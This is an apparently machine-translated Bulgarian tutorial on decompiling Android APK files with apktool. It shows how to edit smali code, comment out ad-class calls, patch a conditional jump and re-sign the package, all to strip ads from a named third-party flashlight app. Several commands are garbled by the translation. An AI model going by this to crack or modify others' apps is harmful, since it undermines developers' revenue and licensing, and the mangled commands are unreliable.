Можете да използвате всички тези инструменти поотделно, но това е неудобно, така че е по-добре да използвате софтуера от по-високо ниво, изграден на тяхна основа. Ако работите на Linux или Mac OS X, има инструмент, наречен apktool. Той ви позволява да разопаковате ресурси в оригиналната им форма (включително двоични XML и arsc файлове), да изградите отново пакет с променени ресурси, но не може да подписва пакети, така че ще трябва да стартирате ръчно помощната програма за подписване. Въпреки факта, че помощната програма е написана на Java, нейната инсталация е доста нестандартна. Първо трябва да получите самия jar файл:

$ cd / tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~ / bin $ mv apktool-install-linux-r05-ibot / * ~ / bin $ export PATH = ~ / bin: $ PATH

Ако работите в Windows, тогава има отличен инструмент за него, наречен Virtual Ten Studio, който също натрупва всички тези инструменти (включително самия apktool), но вместо CLI интерфейса, той предоставя на потребителя интуитивен графичен интерфейс, с който вие може да извършва операции по разопаковане, разглобяване и декомпилиране с няколко щраквания. Този инструмент е Donation-ware, тоест понякога се появяват прозорци с предложение за получаване на лиценз, но това в крайна сметка може да се толерира. Няма смисъл да го описвам, защото можете да разберете интерфейса за няколко минути. Но apktool, поради своята конзолна природа, трябва да се обсъди по-подробно.


Нека да разгледаме опциите на apktool. Накратко, има три основни команди: d (декодиране), b (изграждане) и if (инсталиране на рамка). Ако всичко е ясно с първите две команди, тогава какво прави третият, условен оператор? Той разопакова посочената рамка на потребителския интерфейс, която е необходима, когато дисектирате всеки системен пакет.

Нека разгледаме най-интересните опции на първата команда:

  • - не разглобявайте dex файлове;
  • -r- не разопаковайте ресурси;
  • - не вмъквайте информация за отстраняване на грешки в резултатите от разглобяването на dex файла;
  • --пътека на рамката- използвайте посочената рамка на потребителския интерфейс вместо вградената в apktool. Сега нека разгледаме няколко опции за командата b:
  • -f- принудително сглобяване без проверка на промените;
  • - посочваме пътя към aapt (инструмент за изграждане на APK архив), ако по някаква причина искате да го използвате от друг източник.

Използването на apktool е много просто, за това просто трябва да посочите една от командите и пътя към APK, например:

$ apktool d mail.apk

След това всички извлечени и разглобени пакетни файлове ще се появят в пощенската директория.

Дисекция. Деактивирайте рекламите

Теорията, разбира се, е добра, но защо е необходима, ако не знаем какво да правим с разопакования пакет? Нека се опитаме да приложим теорията в наша полза, а именно да модифицираме някакъв софтуер, така че да не ни показва реклами. Например, нека бъде Virtual Torch - виртуална факла. За нас този софтуер е перфектен, защото е пълен с досадни реклами и освен това е достатъчно прост, за да не се изгубите в джунглата на кода.


Така че, като използвате един от горните методи, изтеглете приложението от пазара. Ако решите да използвате Virtuous Ten Studio, просто отворете APK файла в приложението и го разопаковайте, за което създайте проект (Файл -> Нов проект), след което в контекстно менюизберете Импортиране на файл. Ако изборът ви падна върху apktool, тогава е достатъчно да изпълните една команда:

$ apktool d com.kauf.particle.virtualtorch.apk

След това файлово дърво, подобно на описаното в предишния раздел, ще се появи в директорията com.kauf.particle.virtualtorch, но с допълнителна директория smali вместо dex файлове и файл apktool.yml. Първият съдържа разглобения код на изпълнимия dex файл на приложението, вторият съдържа служебната информация, необходима на apktool за изграждане на пакета обратно.

Първото място, което трябва да погледнем, е, разбира се, AndroidManifest.xml. И тук веднага срещаме следния ред:

Както може би се досещате, тя е отговорна за предоставянето на разрешението на приложението да използва интернет връзката. Всъщност, ако просто искаме да се отървем от реклами, най-вероятно ще трябва да деактивираме интернет за приложението. Нека се опитаме да направим това. Изтриваме посочения ред и се опитваме да изградим софтуера с помощта на apktool:

$ apktool b com.kauf.particle.virtualtorch

Полученият APK файл ще се появи в директорията com.kauf.particle.virtualtorch / build /. Въпреки това, няма да е възможно да го инсталирате, тъй като няма цифров подпис и контролни сумифайлове (просто няма директорията META-INF /). Трябва да подпишем пакета с помощта на помощната програма apk-signer. Пуснат. Интерфейсът се състои от два раздела - на първия (Key Generator) създаваме ключове, на втория (APK Signer) подписваме. За да създадем нашите частен ключ, попълнете следните полета:

  • Целеви файл- изходния файл на хранилището за ключове; обикновено съдържа една двойка ключове;
  • паролаи Потвърдете- парола за съхранение;
  • Псевдоним- името на ключа в хранилището;
  • Парола за псевдоними Потвърдете- парола за секретен ключ;
  • валидност- срок на валидност (в години). По подразбиране е оптимално.

Останалите полета обикновено не са задължителни - но поне едно трябва да бъде попълнено.


ВНИМАНИЕ

За да подпишете приложение с помощта на apk-signer, трябва да инсталирате Android SDK и да посочите пълния път до него в настройките на приложението.

Цялата информация е предоставена само за информационни цели. Нито редакционната колегия, нито авторът носят отговорност за евентуални вреди, причинени от материалите на тази статия.

Сега можете да подпишете APK с този ключ. В раздела APK Signer изберете новогенерирания файл, въведете паролата, псевдонима на ключа и паролата към него, след което намерете APK файли смело натиснете бутона "Подпис". Ако всичко върви добре, пакетът ще бъде подписан.

ИНФО

Тъй като подписахме пакета със собствен ключ, той ще противоречи на оригиналното приложение, което означава, че когато се опитаме да актуализираме софтуера чрез пазара, ще получим грешка.

Цифров подпис се изисква само за софтуер на трети страни, така че ако променяте системни приложениякоито се инсталират чрез копиране в директорията / system / app /, не е необходимо да ги подписвате.

След това пускаме пакета на смартфон, инсталираме го и го стартираме. Voila, рекламите изчезнаха! Вместо това обаче се появи съобщение, че нямаме интернет или нямаме съответните разрешения. На теория това може да е достатъчно, но съобщението изглежда досадно и, честно казано, просто имахме късмет с тъпо приложение. Обикновено написан софтуер най-вероятно ще изясни своите правомощия или ще провери за интернет връзка и в противен случай просто ще откаже да стартира. Как да бъде в този случай? Разбира се, редактирайте кода.

Обикновено авторите на приложения създават специални класове за показване на реклами и извикване на методи на тези класове по време на стартиране на приложението или една от неговите "дейности" (напросто казано, екрани на приложения). Нека се опитаме да намерим тези класове. Отиваме в директорията smali, след това com (org съдържа само отворената графична библиотека cocos2d), след това kauf (точно там, защото това е името на разработчика и целият му код е там) - и ето го, маркетинговата директория. Вътре намираме куп файлове с разширение smali. Това са класове, като най-забележителният от тях е класът Ad.smali, по чието име е лесно да се досетите какво точно показва рекламите.

Бихме могли да променим логиката на неговата работа, но би било много по-лесно да премахнем извикванията към който и да е от неговите методи от самото приложение. Затова напускаме маркетинговата директория и отиваме в съседната директория с частици и след това към virtualtorch. Файлът MainActivity.smali заслужава специално внимание тук. Това е стандартен клас за Android, който е създаден от Android SDK и е зададен като входна точка към приложението (аналогично на основната функция в C). Отворете файла за редактиране.

Вътре е smali кодът (локален асемблер). Той е доста объркващ и труден за четене поради естеството му на ниско ниво, така че няма да го изучаваме, а просто ще намерим всички препратки към класа Ad в кода и ги коментираме. Караме в реда „Реклама“ в търсенето и се озоваваме на ред 25:

Полева частна обява: Lcom / kauf / marketing / Ad;

Това е мястото, където се създава рекламно поле, което да съдържа обект от клас Ad. Коментиране чрез поставяне на знака ### пред реда. Продължаваме да търсим. Ред 423:

Нова инстанция v3, Lcom / kauf / marketing / Ad;

Това е мястото, където се създава обектът. Коментираме. Продължаваме търсенето и намираме в редове 433, 435, 466, 468, 738, 740, 800 и 802 извиквания към методите на класа Ad. Коментираме. Изглежда, че това е. ние спестяваме. Сега трябва да съберете отново пакета и да проверите неговата ефективност и наличието на реклами. За чистотата на експеримента връщаме низа, изтрит от AndroidManifest.xml, събираме пакета, подписваме и инсталираме.

Нашето морско свинче. Видима реклама

Опа! Рекламата изчезна само докато приложението работеше, но остана в главното меню, което виждаме, когато стартираме софтуера. И така, чакайте, но входната точка е класът MainActivity и рекламите изчезнаха, докато приложението работеше, но останаха в главното меню, така че входната точка е различна? За да идентифицирате истинската входна точка, отворете отново файла AndroidManifest.xml. И да, има следните редове:

Те ни казват (и по-важното, android), че дейност с име Start трябва да бъде стартирана в отговор на генериране на намерение (събитие) android.intent.action.MAIN от категорията android.intent.category.LAUNCHER. Това събитие се генерира при докосване на иконата на приложението в стартовия панел, така че дефинира входната точка, а именно класа Start. Най-вероятно програмистът първо написа приложение без главното меню, входната точка за което беше стандартният клас MainActivity, а след това добави нов прозорец (активност), съдържащ менюто и описан в класа Start, и ръчно го направи записа точка.

Отворете файла Start.smali и отново потърсете реда "Реклама", намерете в редове 153 и 155 споменаването на класа FirstAd. Той също е в изходния код и, съдейки по името, е точно отговорен за показването на реклами на главния екран. Гледаме по-нататък, има създаване на екземпляр на класа FirstAd и намерение, според контекста, свързан с този екземпляр, и след това етикета cond_10, условният преход към който се извършва точно преди създаването на екземпляр на класа :

If-ne p1, v0,: cond_10 .line 74 нова инстанция v0, Landroid / съдържание / намерение; ...: cond_10

Най-вероятно програмата някак произволно изчислява дали да показва реклами на главния екран и, ако не, прескача направо към cond_10. Добре, нека да опростим нейната задача и да заменим условния скок с безусловен:

# if-ne p1, v0,: cond_10 отидете: cond_10

В кода няма повече препратки към FirstAd, така че затворете файла и сглобете отново нашата виртуална факла с помощта на apktool. Копирайте го на вашия смартфон, инсталирайте го, стартирайте го. Воала, всички реклами изчезнаха и поздравления за всички ни.

Резултати

Тази статия е само кратко въведение в техниките за кракване и модифициране на приложения за Android. Много проблеми останаха зад кулисите, като премахване на защита, анализиране на обфускиран код, превод и подмяна на ресурсите на приложението, както и модифициране на приложения, написани с използвайки AndroidНДК. Въпреки това, като имате основни познания, е само въпрос на време да го разберете.

Споделя това